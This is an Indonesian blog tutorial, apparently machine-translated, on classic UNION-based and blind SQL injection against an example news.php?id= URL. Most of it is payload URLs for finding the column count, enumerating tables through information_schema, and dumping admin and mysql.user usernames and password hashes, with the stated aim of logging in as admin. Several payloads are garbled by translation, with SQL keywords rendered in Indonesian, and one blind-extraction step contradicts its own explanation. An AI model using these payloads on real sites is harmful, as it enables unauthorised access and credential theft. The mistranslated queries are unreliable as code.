Tutorial Cara Blind SQL Injection Dengan Mudah Dan Pasti Paham
BLIND SQL INJECTION DAN TUTORIAL SQL INJECTION
#1
Tutorial Injeksi SQL Lengkap (Dalam tutorial ini saya akan menjelaskan cara kerja injeksi sql dan cara
menggunakannya untuk mendapatkan beberapa informasi yang berguna.
Konten yang terungkap
Pertama-tama: Apa itu injeksi SQL?
Ini adalah salah satu kerentanan paling umum dalam aplikasi web saat ini.
Ini memungkinkan penyerang untuk mengeksekusi kueri basis data di url dan mendapatkan akses
untuk beberapa informasi rahasia dll ... (segera).
1.SQL Injection (klasik atau berbasis kesalahan atau apa pun namanya)
2.Blind SQL Injection (bagian yang lebih sulit)
Jadi mari kita mulai dengan beberapa tindakan
1). Periksa kerentanan
Katakanlah kita memiliki beberapa situs seperti ini
http://www.site.com/news.php?id=5
Sekarang untuk menguji apakah rentan kita tambahkan ke akhir url '(kutipan),
dan itu akan menjadi http://www.site.com/news.php?id=5′
jadi jika kita mendapatkan beberapa kesalahan seperti
“Anda memiliki kesalahan dalam sintaks SQL Anda; periksa manual yang sesuai dengan versi server MySQL Anda untuk kanan dll ... "
atau yang serupa
itu artinya rentan terhadap injeksi sql
2). Temukan jumlah kolom
Untuk mencari jumlah kolom kami menggunakan pernyataan ORDER BY (memberi tahu database cara memesan hasilnya)
jadi bagaimana cara menggunakannya? Nah hanya menambah nomor sampai kita mendapatkan kesalahan.
http://www.site.com/news.php?id=5 order by 1/* <– no error
http://www.site.com/news.php?id=5 order by 2/* <– no error
http://www.site.com/news.php?id=5 order by 3/* <– no error
http://www.site.com/news.php?id=5 order by 4/* <– error (kami mendapatkan pesan seperti ini kolom Unknown '4′ di 'order clause' atau semacamnya)
itu berarti memiliki 3 kolom, karena kami mendapat kesalahan pada 4.
3). Periksa fungsi UNION
Dengan union kita dapat memilih lebih banyak data dalam satu pernyataan sql.
jadi kita punya
http://www.site.com/news.php?id=5 union all select 1,2,3/* (kami telah menemukan bahwa jumlah kolom adalah 3 di bagian 2). )
jika kita melihat beberapa angka di layar, yaitu 1 atau 2 atau 3 maka UNION berfungsi
4). Periksa versi MySQL
http://www.site.com/news.php?id=5 union all pilih 1,2,3/* CATATAN: jika /* tidak berfungsi atau Anda mendapatkan kesalahan, coba –
ini adalah komentar dan penting agar kueri kami berfungsi dengan baik.
katakanlah kita memiliki nomor 2 di layar, sekarang untuk memeriksa versi
kami mengganti nomor 2 dengan @@version atau version() dan mendapatkan sesuatu seperti 4.1.33-log atau 5.0.45 atau serupa.
seharusnya terlihat seperti ini http://www.site.com/news.php?id=5 union semua pilih 1,@@version,3/*
jika Anda mendapatkan kesalahan “union + illegal mix of collations (IMPLICIT + COERCIBLE) …”
saya tidak melihat kertas yang membahas masalah ini, jadi saya harus menulisnya
yang kita butuhkan adalah fungsi convert()
yaitu
http://www.site.com/news.php?id=5 serikat semua pilih 1,konversi(@@versi menggunakan latin1),3/*
atau dengan hex() dan unhex()
yaitu
http://www.site.com/news.php?id=5 serikat semua pilih 1,unhex(hex(@@version)),3/*
dan Anda akan mendapatkan versi MySQL
5). Mendapatkan nama tabel dan kolom
baik jika versi MySQL adalah <5 (yaitu 4.1.33, 4.1.12…) <— nanti saya akan menjelaskan untuk MySQL > versi 5.
kita harus menebak nama tabel dan kolom dalam banyak kasus.
nama tabel yang umum adalah: user/s, admin/s, member/s …
nama kolom yang umum adalah: username, user, usr, user_name, password, pass, passwd, pwd dll…
yaitu akan menjadi
http://www.site.com/news.php?id=5 union all pilih 1,2,3 dari admin/* (kami melihat nomor 2 di layar seperti sebelumnya, dan itu bagus :D)
kita tahu bahwa admin tabel ada…
sekarang untuk memeriksa nama kolom.
http://www.site.com/news.php?id=5 union all pilih 1,username,3 from admin/* (jika error, coba nama kolom lainnya)
kita mendapatkan nama pengguna yang ditampilkan di layar, misalnya admin, atau superadmin dll ...
sekarang untuk memeriksa apakah kata sandi kolom ada
http://www.site.com/news.php?id=5 union all pilih 1,password,3 from admin/* (jika error, coba nama kolom yang lain)
kami melihat kata sandi di layar dalam hash atau teks biasa, itu tergantung pada bagaimana database diatur
yaitu hash md5, hash mysql, sha1…
sekarang kita harus menyelesaikan kueri agar terlihat bagus
untuk itu kita bisa menggunakan fungsi concat() (menggabungkan string)
yaitu
http://www.site.com/news.php?id=5 union semua pilih 1,concat(username,0×3a,password),3 dari admin/*
Perhatikan bahwa saya menempatkan 0×3a, nilai hex untuk : (jadi 0×3a adalah nilai hex untuk titik dua)
(ada cara lain untuk itu, char(58), nilai ascii untuk : )
http://www.site.com/news.php?id=5 union semua pilih 1,concat(username,char(58),password),3 dari admin/*
sekarang kita mendapatkan nama pengguna: kata sandi yang ditampilkan di layar, yaitu admin: admin atau admin: somehash
ketika Anda memiliki ini, Anda dapat masuk seperti admin atau superuse
jika tidak dapat menebak nama tabel yang tepat, Anda selalu dapat mencoba mysql.user (default)
itu memiliki kolom kata sandi pengguna i, jadi contohnya adalah
http://www.site.com/news.php?id=5 union semua pilih 1,concat(user,0×3a,password),3 dari mysql.user/*
6). MySQL 5
Seperti yang saya katakan sebelumnya, saya akan menjelaskan cara mendapatkan nama tabel dan kolom
di MySQL>5.
Untuk ini kita membutuhkan information_schema. Ini memegang semua tabel dan kolom dalam database.
untuk mendapatkan tabel kita menggunakan table_name dan information_schema.tables.
yaitu
http://www.site.com/news.php?id=5 union semua pilih 1,table_name,3 dari information_schema.tables/*
di sini kami mengganti nomor 2 kami dengan table_name untuk mendapatkan tabel pertama dari information_schema.tables
ditampilkan di layar. Sekarang kita harus menambahkan LIMIT ke akhir kueri untuk membuat daftar semua tabel.
yaitu
http://www.site.com/news.php?id=5 union semua pilih 1,table_name,3 dari information_schema.tables limit 0,1/*
perhatikan bahwa saya menempatkan 0,1 (dapatkan 1 hasil mulai dari ke-0)
sekarang untuk melihat tabel kedua, kami mengubah batas 0,1 menjadi batas 1,1
yaitu
http://www.site.com/news.php?id=5 union all pilih 1,table_name,3 dari information_schema.tables limit 1,1/*
tabel kedua ditampilkan.
untuk tabel ketiga kami menempatkan batas 2,1
yaitu
http://www.site.com/news.php?id=5 union all pilih 1,table_name,3 dari information_schema.tables limit 2,1/*
terus bertambah sampai Anda mendapatkan yang bermanfaat seperti db_admin, poll_user, auth, auth_user dll…
Untuk mendapatkan nama kolom, metodenya sama.
di sini kita menggunakan column_name dan information_schema.columns
metodenya sama seperti di atas jadi contohnya adalah
http://www.site.com/news.php?id=5 union semua pilih 1,column_name,3 dari information_schema.columns limit 0,1/*
kolom pertama ditampilkan.
yang kedua (kita ubah limit 0,1 menjadi limit 1,1)
yaitu.
http://www.site.com/news.php?id=5 union semua pilih 1,column_name,3 dari information_schema.columns limit 1,1/*
kolom kedua ditampilkan, jadi terus bertambah sampai Anda mendapatkan sesuatu seperti
nama pengguna, pengguna, login, kata sandi, pass, passwd dll ...
jika Anda ingin menampilkan nama kolom untuk tabel tertentu, gunakan kueri ini. (klausa dimana)
katakanlah kami menemukan pengguna tabel.
yaitu
http://www.site.com/news.php?id=5 union semua pilih 1,column_name,3 dari information_schema.columns where table_name='users'/*
sekarang kita mendapatkan nama kolom yang ditampilkan di pengguna tabel. Hanya menggunakan LIMIT kita dapat membuat daftar semua kolom di tabel pengguna.
Perhatikan bahwa ini tidak akan berfungsi jika tanda kutip ajaib AKTIF.
katakanlah kami menemukan kolom pengguna, pass, dan email.
sekarang untuk menyelesaikan kueri untuk menyatukan semuanya
untuk itu kita menggunakan concat() , sudah saya uraikan sebelumnya.
yaitu
http://www.site.com/news.php?id=5 union semua pilih 1,concat(user,0×3a,pass,0×3a,email) dari pengguna/*
apa yang kita dapatkan di sini adalah user:pass:email dari pengguna tabel.
contoh: admin:hash:whatever@blabla.com
Itu saja di bagian ini, sekarang kita bisa melanjutkan ke bagian yang lebih sulit
2. Injeksi SQL Buta
Injeksi buta sedikit lebih rumit dari injeksi klasik tetapi bisa dilakukan.
Mari kita mulai dengan hal-hal canggih.
Saya akan menggunakan contoh kami
http://www.site.com/news.php?id=5
ketika kami menjalankan ini, kami melihat beberapa halaman dan artikel di halaman itu, gambar dll ...
lalu ketika kita ingin mengujinya untuk serangan injeksi sql buta
http://www.site.com/news.php?id=5 and 1=1 <— ini selalu benar
dan halaman dimuat secara normal, tidak apa-apa.
sekarang ujian yang sebenarnya
http://www.site.com/news.php?id=5 dan 1=2 <— ini salah
jadi jika beberapa teks, gambar atau beberapa konten hilang pada halaman yang dikembalikan maka situs tersebut rentan terhadap injeksi sql buta.
1) Dapatkan versi MySQL
untuk mendapatkan versi dalam serangan buta kami menggunakan substring
yaitu
http://www.site.com/news.php?id=5 dan substring(@@version,1,1)=4
ini akan mengembalikan TRUE jika versi MySQL adalah 4.
ganti 4 dengan 5, dan jika kueri mengembalikan TRUE maka versinya adalah 5.
yaitu
http://www.site.com/news.php?id=5 dan substring(@@version,1,1)=5
2) Uji apakah subselect berfungsi
ketika pilih tidak berfungsi maka kami menggunakan subselect
yaitu
http://www.site.com/news.php?id=5 dan (pilih 1)=1
jika halaman dimuat secara normal maka subpilihan berfungsi.
maka kita akan melihat apakah kita memiliki akses ke mysql.user
yaitu
http://www.site.com/news.php?id=5 dan (pilih 1 dari mysql.user limit 0,1)=1
jika halaman dimuat secara normal, kami memiliki akses ke mysql.user dan kemudian kami dapat menarik beberapa kata sandi menggunakan fungsi load_file() dan OUTFILE.
3). Periksa nama tabel dan kolom
Ini adalah bagian ketika menebak adalah teman terbaik
yaitu
http://www.site.com/news.php?id=5 dan (pilih 1 dari batas pengguna 0,1)=1 (dengan batas 0,1 kueri kami di sini mengembalikan 1 baris data, karena subselect hanya mengembalikan 1 baris, ini sangat penting.)
kemudian jika halaman dimuat secara normal tanpa konten yang hilang, pengguna tabel keluar.
jika Anda mendapatkan FALSE (beberapa artikel hilang), ubah saja nama tabel sampai Anda menebak yang benar
katakanlah kita telah menemukan bahwa nama tabel adalah pengguna, sekarang yang kita butuhkan adalah nama kolom.
sama seperti nama tabel, kita mulai menebak. Seperti yang saya katakan sebelumnya, coba nama umum untuk kolom.
yaitu
http://www.site.com/news.php?id=5 dan (pilih substring(concat(1,password),1,1) dari batas pengguna 0,1)=1
jika halaman dimuat secara normal, kami tahu bahwa nama kolom adalah kata sandi (jika kami salah, coba nama umum atau tebak saja)
disini kita gabungkan 1 dengan kolom password, kemudian substring mengembalikan karakter pertama (,1,1)
4). Tarik data dari database
kami menemukan pengguna tabel i kolom nama pengguna kata sandi jadi kami akan menarik karakter dari itu.
http://www.site.com/news.php?id=5 dan ascii(substring((SELECT concat(username,0×3a,password) dari batas pengguna 0,1),1,1))>80
ok ini di sini menarik karakter pertama dari pengguna pertama di pengguna tabel.
substring di sini mengembalikan karakter pertama dan panjang 1 karakter. ascii() mengubah 1 karakter itu menjadi nilai ascii
dan kemudian bandingkan dengan simbol lebih besar dari > .
jadi jika karakter ascii lebih besar dari 80, halaman dimuat secara normal. (BENAR)
kita terus mencoba sampai kita mendapatkan false.
http://www.site.com/news.php?id=5 dan ascii(substring((SELECT concat(username,0×3a,password) dari batas pengguna 0,1),1,1))>95
kami mendapatkan BENAR, terus bertambah
http://www.site.com/news.php?id=5 dan ascii(substring((SELECT concat(username,0×3a,password) dari batas pengguna 0,1),1,1))>98
BENAR lagi, lebih tinggi
http://www.site.com/news.php?id=5 dan ascii(substring((SELECT concat(username,0×3a,password) dari batas pengguna 0,1),1,1))>99
SALAH!!!
jadi karakter pertama di username adalah char(99). Menggunakan konverter ascii kita tahu bahwa char(99) adalah huruf 'c'.
lalu mari kita periksa karakter kedua.
http://www.site.com/news.php?id=5 dan ascii(substring((SELECT concat(username,0×3a,password) dari batas pengguna 0,1),2,1))>99
Perhatikan bahwa saya mengubah ,1,1 menjadi ,2,1 untuk mendapatkan karakter kedua. (sekarang mengembalikan karakter kedua, panjangnya 1 karakter)
http://www.site.com/news.php?id=5 dan ascii(substring((SELECT concat(username,0×3a,password) dari batas pengguna 0,1),1,1))>99
BENAR, halaman dimuat secara normal, lebih tinggi.
http://www.site.com/news.php?id=5 dan ascii(substring((SELECT concat(username,0×3a,password) dari batas pengguna 0,1),1,1))>107
SALAH, angka yang lebih rendah.
http://www.site.com/news.php?id=5 dan ascii(substring((SELECT concat(username,0×3a,password) dari batas pengguna 0,1),1,1))>104
BENAR, lebih tinggi.
http://www.site.com/news.php?id=5 dan ascii(substring((SELECT concat(username,0×3a,password) dari batas pengguna 0,1),1,1))>105
SALAH!!!
kita tahu bahwa karakter kedua adalah char (105) dan itu adalah 'i'. Kami memiliki 'ci' sejauh ini
jadi terus bertambah sampai Anda mendapatkan akhir. (ketika >0 mengembalikan false, kita tahu bahwa kita telah mencapai akhir).
Ps: ini butuh waktu lama untuk melakukan tutorial ini saya perlu tidur SAYA HARAP ANDA MENYUKAINYA :) mm

Belum ada Komentar untuk "Tutorial Cara Blind SQL Injection Dengan Mudah Dan Pasti Paham"
Posting Komentar